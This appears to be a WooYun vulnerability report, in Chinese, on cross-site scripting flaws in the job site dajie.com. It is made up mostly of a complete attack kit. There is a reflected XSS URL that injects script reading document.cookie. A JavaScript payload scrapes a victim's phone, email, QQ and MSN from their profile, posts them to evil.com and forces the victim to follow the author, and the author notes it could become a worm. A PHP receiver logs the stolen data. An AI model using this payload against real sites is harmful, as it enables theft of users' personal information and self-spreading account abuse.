WooYun.org

http://www.dajie.com/
http://www.dajie.com/card/exchange/index?keyWords=1234′);alert(document.cookie);//

完全没有过滤。另外个人简历和个人名片处也有存储型XSS。

然后访问个人主页：

通过这些XSS点，收集一些未公开用户的个人信息简历信息就比较容易了。
自己写了一个简单的XSS Payload，可以收集用户联系信息发送到远程，自动关注本人，通过Cookie避免二次污染。几个功能都在同域，加个自动发短消息的功能就变成了一个简单的蠕虫了，只发了Payload部分，使用了较新的DOM方法getElementsByClassName，初涉XSS，大牛飘过，欢迎吐槽。

XSS Payload:
var c_name = "uchome_loginuser" //cookie中存放用户ID的字段
var c_userid = "" //用户ID
var cus_url = "http://www.dajie.com/profile/mine" //个人信息界面
var tel = "" //记录电话
var email = "" //记录邮件
var qq = "" //记录QQ
var msn = "" //记录MSN</code>
function getCookieValue(c_name){
if(document.cookie.length&gt;0) //返回Cookie指定字段
{
c_start = document.cookie.indexOf(c_name + "=")
if(c_start != -1)
{
c_start = c_start + c_name.length+1;
c_end = document.cookie.indexOf(";",c_start)
if(c_end == -1) c_end = document.cookie.length
c_userid = unescape(document.cookie.substring(c_start,c_end))
return c_userid
}
return ""
}
}
function setCookieValue(c_name,value) //添加Cookie指定值
{
document.cookie = c_name+"="+escape(value)
}
var ajaxGet = null
function getUrl(url_addr){ //通过Ajax请求GET页面内容(同域)
if(window.XMLHttpRequest)
{
ajaxGet = new XMLHttpRequest();
}else if(window.ActiveXObject)
{
ajaxGet = new ActiveXObject("Microsoft.XMLHTTP");
}else
{
return ""
}
ajaxGet.open("GET",url_addr,true)
ajaxGet.setRequestHeader("Content-Type","text/xml")
ajaxGet.send(null);
}
var ajaxPost = null
function postUrl(post_url,cusKey,cusValue) //通过Ajax请求POST到远程
{
var postStr = cusKey+"="+cusValue
if(window.XMLHttpRequest){
ajaxPost = new XMLHttpRequest();
}else if(window.ActiveXObject)
{
ajaxPost = new ActiveXObject("Microsoft.XMLHTTP");
}else
{
return ""
}
ajaxPost.open("POST",post_url,true)
//ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
ajaxPost.send(postStr)
}
function getPersonalInfo(responContent) //提取用户个人信息
{
var cusNode = document.createElement("div")
cusNode.innerHTML = responContent
document.body.appendChild(cusNode)
var preInfo = document.getElementsByClassName("tl-contact-item tel")
var realInfo = preInfo[0].getElementsByTagName("i")
tel = realInfo[0].getAttribute("title")
var preInfo = document.getElementsByClassName("tl-contact-item qq")
var realInfo = preInfo[0].getElementsByTagName("i")
qq = realInfo[0].getAttribute("title")
var preInfo = document.getElementsByClassName("tl-contact-item msn")
var realInfo = preInfo[0].getElementsByTagName("i")
msn = realInfo[0].getAttribute("title")
var preInfo = document.getElementsByClassName("tl-contact-item email")
var realInfo = preInfo[0].getElementsByTagName("i")
email = realInfo[0].getAttribute("title")
}
c_userid = getCookieValue(c_name) //从Cookie中获取用户ID
var icard_url = "http://www.dajie.com/profile/"+c_userid+"/icard" //构造个人名片Url
function FollowMe() //自动关注指定用户
{
var img = document.createElement("img")
img.src="http://www.dajie.com/card/exchange/api/invite?cardUid=xxxxxx&amp;ajax=1"
document.body.appendChild(img)
}
if(document.cookie.indexOf("xssed") == -1)//判断是否已经污染
{
var content = ""
getUrl(cus_url) //获取要获取页面的内容
ajaxGet.onreadystatechange = function()
{
if(ajaxGet.readyState == 4 &amp;&amp; ajaxGet.status == 200)
{
content = ajaxGet.responseText
getPersonalInfo(content)
var cusForm = document.createElement("div");
document.body.appendChild(cusForm)
cusForm.innerHTML = '<form id="xssform" action="http://www.evil.com/xsstest.php" method="post" name="mbform">'+'<input type="text" name="tel" value="+escape(tel)+" />'+'<input type="text" name="email" value="+escape(email)+" />'+'<input type="text" name="qq" value="+escape(qq)+" />'+'<input type="text" name="msn" value="+escape(msn)+" />'+'</form>'
document.getElementById("xssform").submit(); } }
FollowMe() }
setCookieValue("xssed",true) //设置Cookie避免多次污染
远程接收信息的xsstest.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$tel = $_POST[tel];
$qq = $_POST[qq];
$msn = $_POST[msn];
$email = $_POST[email];
$time = date("Y-m-d G:i:s A");
$file = fopen($ip.'.txt' , 'a');
fwrite($file,"Tel:".$tel."\nQQ:".$qq."\nMSN:".$msn."\nEmail:".$email);
fclose($file);
header("Location: ".$referer);
//?>